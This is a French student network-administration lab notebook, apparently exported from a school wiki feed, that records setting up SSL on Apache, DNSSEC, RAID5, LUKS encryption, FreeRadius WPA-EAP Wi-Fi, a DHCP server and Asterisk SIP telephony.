root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem&amp;lt;/pre&amp;gt;&lt;br /&gt;
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Flash:/etc/bind# c_rehash /etc/ssl/certs&lt;br /&gt;
Doing /etc/ssl/certs&lt;br /&gt;
speedflash.space.crt =&amp;gt; ac112f31.0&lt;br /&gt;
speedflash.space.crt =&amp;gt; a88e5e47.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 0cad7ee9.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 3a57595e.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; 816e77e4.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; de4674a3.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;#NameVirtualHost *:443&lt;br /&gt;
        &amp;lt;VirtualHost 193.48.57.165:443&amp;gt;&lt;br /&gt;
                ServerName www.speedflash.space&lt;br /&gt;
                ServerAlias speedflash.space&lt;br /&gt;
                DocumentRoot /var/www/www.speedflash.space/&lt;br /&gt;
                CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine on&lt;br /&gt;
                SSLCertificateFile /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
                SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem&lt;br /&gt;
                SSLVerifyClient None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/www.speedflash.space&amp;gt;&lt;br /&gt;
                Require all granted&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
ServerName &amp;quot;speedflash.space&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL):&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Listen 80 443&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
        Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
        #NameVirtualHost *:443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut activer le module SSL de Apache : &amp;lt;pre&amp;gt; a2enmod ssl&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc activer notre Apache avec notre certificat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf &lt;br /&gt;
Enabling site 000-speedflash.space-ssl.&lt;br /&gt;
root@Flash:/etc/bind# service apache2 reload&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:SSLSite.png]]&lt;br /&gt;
&lt;br /&gt;
=====Securisation de DNS par DNSSEC=====&lt;br /&gt;
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
l'option -r /dev/urandom est ici pour accélérer la génération des clés &amp;lt;br /&amp;gt;&lt;br /&gt;
Nous incluons les clés dans le fichier de zone db.speedflash.space : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key&lt;br /&gt;
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key&amp;lt;/pre&amp;gt;&lt;br /&gt;
On signe donc la zone : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk&lt;br /&gt;
Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
Zone fully signed:&lt;br /&gt;
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                    ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
../db.speedflash.space.signed&amp;lt;/pre&amp;gt;&lt;br /&gt;
On ajoute le DNSSEC à Gandi : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Dns-gandi.png]]&amp;lt;br /&amp;gt;&lt;br /&gt;
On vérifie que notre DNS est bien sécurisé en essayant la commande : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY speedflash.space @localhost&lt;br /&gt;
;; global options: +cmd&lt;br /&gt;
;; Got answer:&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;speedflash.space.        IN    DNSKEY&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3&amp;lt;/pre&amp;gt;&lt;br /&gt;
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 7e séance====&lt;br /&gt;
=====Création du RAID5=====&lt;br /&gt;
On ajoute premièrement les partitions à la définition de la machine virtuelle:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;'phy:/dev/virtual/RedFlash,xvdb,w',&lt;br /&gt;
'phy:/dev/virtual/BlackFlash,xvdc,w',&lt;br /&gt;
'phy:/dev/virtual/ReverseFlash,xvdd,w'&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on crée le RAID5 avec les 3 partitions :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie en regardant le fichier de log /proc/mdstat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=============&amp;gt;.......]  recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===============&amp;gt;.....]  recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [================&amp;gt;....]  recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=================&amp;gt;...]  recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [==================&amp;gt;..]  recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# [ 1462.872022] md: md0: recovery done.&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# mkfs /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
	32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done&lt;br /&gt;
Writing inode tables: done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done&lt;br /&gt;
&lt;br /&gt;
root@Flash:~# mount /dev/md0 /mnt&lt;br /&gt;
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem&lt;br /&gt;
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Cryptage de données=====&lt;br /&gt;
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, on commence le cryptage des données sur la carte SD: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1 &lt;br /&gt;
&lt;br /&gt;
WARNING!&lt;br /&gt;
========&lt;br /&gt;
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.&lt;br /&gt;
&lt;br /&gt;
Are you sure? (Type uppercase yes): YES&lt;br /&gt;
Saisissez la phrase secrète : ***************&lt;br /&gt;
Vérifiez la phrase secrète : ***************&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home&lt;br /&gt;
Saisissez la phrase secrète pour /dev/mmcblk1p1 : &lt;br /&gt;
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.&lt;br /&gt;
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879&lt;br /&gt;
Superblocs de secours stockés sur les blocs : &lt;br /&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocation des tables de groupe : complété                        &lt;br /&gt;
Écriture des tables d'i-noeuds : complété                        &lt;br /&gt;
Création du journal (32768 blocs) : complété&lt;br /&gt;
Écriture des superblocs et de l'information de comptabilité du système de&lt;br /&gt;
fichiers : complété&amp;lt;/pre&amp;gt;&lt;br /&gt;
On monte la partition : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Rason:/# umount /mnt&lt;br /&gt;
root@Rason:/# cryptsetup luksClose home&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Travail réalisé la 8e séance====&lt;br /&gt;
=====Modification routeur pour prise en charge Wifi=====&lt;br /&gt;
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. &amp;lt;br /&amp;gt;&lt;br /&gt;
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Sécurisation Wifi par WPA-EAP=====&lt;br /&gt;
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; flash Cleartext-Password:=&amp;quot;reverse&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; client E306 {&lt;br /&gt;
	ipaddr		= 10.60.1.2&lt;br /&gt;
	secret		= password&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa authentication login eap_flash group radius_flash&lt;br /&gt;
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc&lt;br /&gt;
aaa group server radius radius_flash&lt;br /&gt;
server 193.48.57.165 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_FLASH&lt;br /&gt;
vlan 6&lt;br /&gt;
authentication open eap eap_flash&lt;br /&gt;
authentication network-eap eap_flash&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 6 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_FLASH&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 6&lt;br /&gt;
bridge-group 6 subscriber-loop-control&lt;br /&gt;
bridge-group 6 spanning-disabled&lt;br /&gt;
bridge-group 6 block-unknown-source&lt;br /&gt;
no bridge-group 6 source-learning&lt;br /&gt;
no bridge-group 6 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
bridge-group 6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
  address 10.60.6.6&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 10.60.6.1&lt;br /&gt;
  wpa-ssid SSID_FLASH&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity flash&lt;br /&gt;
  wpa-password reverse&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. &amp;lt;br /&amp;gt;&lt;br /&gt;
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle .&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.6&lt;br /&gt;
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 9e séance====&lt;br /&gt;
=====Serveur DHCP=====&lt;br /&gt;
Nous avons installé le paquet '''isc-dhcp-server'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''':&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;option domain-name &amp;quot;speedflash.space&amp;quot;;&lt;br /&gt;
option domain-name-servers 193.48.57.165;&lt;br /&gt;
&lt;br /&gt;
subnet 10.60.6.0 netmask 255.255.255.0 {&lt;br /&gt;
      range 10.60.6.10 10.60.6.40;&lt;br /&gt;
      option routers 10.60.6.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.&lt;br /&gt;
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:DHCP iphone.png || center || 350px]] &amp;lt;br /&amp;gt;&lt;br /&gt;
et nous arrivons à la pinger depuis la machine virtuelle.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.10&lt;br /&gt;
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====PCBX=====&lt;br /&gt;
Nous avons modifiés le fichier sip.conf :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[general]&lt;br /&gt;
hasvoicemail=yes&lt;br /&gt;
hassip=yes&lt;br /&gt;
hasiax=yes&lt;br /&gt;
callwaiting=yes&lt;br /&gt;
threewaycalling=yes&lt;br /&gt;
callwaitingcallerid=yes&lt;br /&gt;
transfer=yes&lt;br /&gt;
canpark=yes&lt;br /&gt;
cancallforward=yes&lt;br /&gt;
callreturn=yes&lt;br /&gt;
callgroup=1&lt;br /&gt;
pickupgroup=1&lt;br /&gt;
nat=yes&lt;br /&gt;
&lt;br /&gt;
[6001]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=trojSmaia&lt;br /&gt;
secret=secret&lt;br /&gt;
context=work&lt;br /&gt;
&lt;br /&gt;
[6002]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=smaiaTroj&lt;br /&gt;
secret=secret2&lt;br /&gt;
context=work&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[work]&lt;br /&gt;
exten=&amp;gt;_6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
exten =&amp;gt; _6XXX,2,Hangup()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous n'avons pas encore testé cette solution.&lt;br /&gt;
====Travail réalisé lors de la 10e séance====&lt;br /&gt;
=====Configuration PCBX=====&lt;br /&gt;
Nous avons pu tester notre configuration PCBX.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons installé CSipSimple sur 2 téléphones Android, et nous avons configurés les 2 comptes.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Enregistrement_SIP.jpg|center|300px]]&lt;br /&gt;
Puis, nous avons essayés de s'appeler, la connexion s'effectue et nous pouvons discuter : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : Appel.jpg|center|300px]]&lt;br /&gt;
Et voici les logs d'Asterisk :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Logs_SIP.jpg|center|100px]]&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Logs_SIP.jpg&amp;diff=36017</id>
		<title>Fichier:Logs SIP.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Logs_SIP.jpg&amp;diff=36017"/>
				<updated>2016-12-14T09:57:15Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Appel.jpg&amp;diff=36016</id>
		<title>Fichier:Appel.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Appel.jpg&amp;diff=36016"/>
				<updated>2016-12-14T09:55:58Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Enregistrement_SIP.jpg&amp;diff=36015</id>
		<title>Fichier:Enregistrement SIP.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Enregistrement_SIP.jpg&amp;diff=36015"/>
				<updated>2016-12-14T09:55:37Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36014</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36014"/>
				<updated>2016-12-14T09:54:56Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Travail réalisé la 9e séance */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
